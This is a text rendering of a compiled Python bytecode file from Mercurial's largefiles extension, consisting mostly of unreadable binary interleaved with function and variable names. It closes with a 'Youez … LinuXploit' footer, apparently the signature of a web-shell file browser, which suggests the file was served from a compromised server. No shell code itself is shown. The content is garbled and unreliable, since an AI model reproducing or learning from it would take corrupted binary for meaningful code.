zoverridecat.<locals>.lfmatchfncs|�vr�||�dSrr&)r#ru)r��	origbadfnr&r'�lfbadfn�szoverridecat.<locals>.lfbadfncs<|tjkrdS�|�}|r|St�|�}|dur4dS�|�Sr�)rr�rI)�dir�retr,)�origvisitdirfnr&r'�lfvisitdirfn�s

z!overridecat.<locals>.lfvisitdirfnsoutput)�pathnamesdecodes8largefile %s is not in cache and could not be downloadedsrbr) rZbyteskwargsrZ	revsinglerMr5rrr8rLZvisitdirrRrZmakefileobjrrIr�rFrbr�Zinusercachererrrrtr	r�rZ
usercachepathrrZ
filechunkiter)r�rerfZfile1r�rjr��errr9r�r�r�r#�fpr,r�rF�storer/r�r�Zfpin�chunkr&)r�r�r2r�r'�overridecat�sP
	


���Nr�s_updatec
OsR|�dd�}|o|��}|����t�|j|�}	|	jt��gdddd�\}
}}t|j	�}
|d}||}|
|j
D]l}|j�|�}|j�
|�s�qvt�|�}t�|�}t�|||t�|��||vrv|t�||�krv|
�|�qv|jD](}t�|�}||v�rq�t�|||�q�|
D]}|	�|��q|	�|���t�|�}|�d�}|�rf|���rft�d��|	����|||||g|�Ri|��}t�|�}t�||�}|
�|�D]}|	j |ddd��q�|	�|���|�s�|�s�|�r�|�!|j"|j#�t$j%|j|||d	�Wd�n1�s 0Y|Wd�S1�sD0YdS)
NrhFTr�r��wcs1largefiles is not compatible with in-memory merger�)rr)&rMr7r\rr]rer[rOr5rrryrUr�rVZhashfiler!r^r_r�rdrnrZset_possibly_dirtyrbrcrZ
isinmemoryr	�ProgrammingErrorr�r�
differencer�r�rzrrr)r�rfr\r�r�r�r�rh�partialrmr�r�r�Zoldcleanr�Zdctxr.Zlfileabsrnr!rrr�r�rrr&r&r'�mergeupdate�sl�


��




�


�&r�smarktouchedc	Os`|||g|�Ri|��}g}|D] }t�|�}|dur |�|�q |r\tj|j||ddd�|S)NFT)rrr)rrIrYrrre)	r�rfrHr�r�r�rr#r,r&r&r'�scmutilmarktouched s
�r�spreservedrequirementsssupporteddestrequirementscCs ||�}d|jvr|�d�|S)Nr6)Zrequirementsrd)r�rfZreqsr&r&r'�upgraderequirements5s

r�slargefile://sopencKsR|�t�r8|rd}t�|��|tt�d�}t�||�S|||fd|i|��SdS)Ns'cannot use data on a 'largefile://' urlr�)r��	_lfschemer	r�rtrZgetlfile)r�reZurl_r�r�ruZlfidr&r&r'�
openlargefileAs

r�)N)FF)N)N)N)F)N)N)TNr)NN)NT)N)N)l�__doc__Z
__future__rr3r�Zmercurial.i18nrZmercurial.pycompatrZmercurial.hgwebrZ	mercurialrrrZ	copiesmodr	r
rrr
rrrrOrrZ
mergestatemodrrrrrrZurlmodrZmercurial.upgrade_utilsrZupgrade_actions�rrrr�r�r�r�r�ZehrxZMergeActionr�r:r@ror�rAr�Zwrapcommandr�r�r�Z	hgsubrepor�r�r�r�r�r�r�r�r�r�r�r
rr$r'r(Zrevsetpredicater+r-r0r<ZextsetuprBrDrErdrfrgrhrkrur|r}rr�r�r�r�r�r�r�r�r�r�r�r&r&r&r'�<module>	svX

HJ

����







x�����
�

 

n


�

,

O�������
	


���







�`C





3(�
"�

4
)
 

G

W






Youez - 2016 - github.com/yon3zu
LinuXploit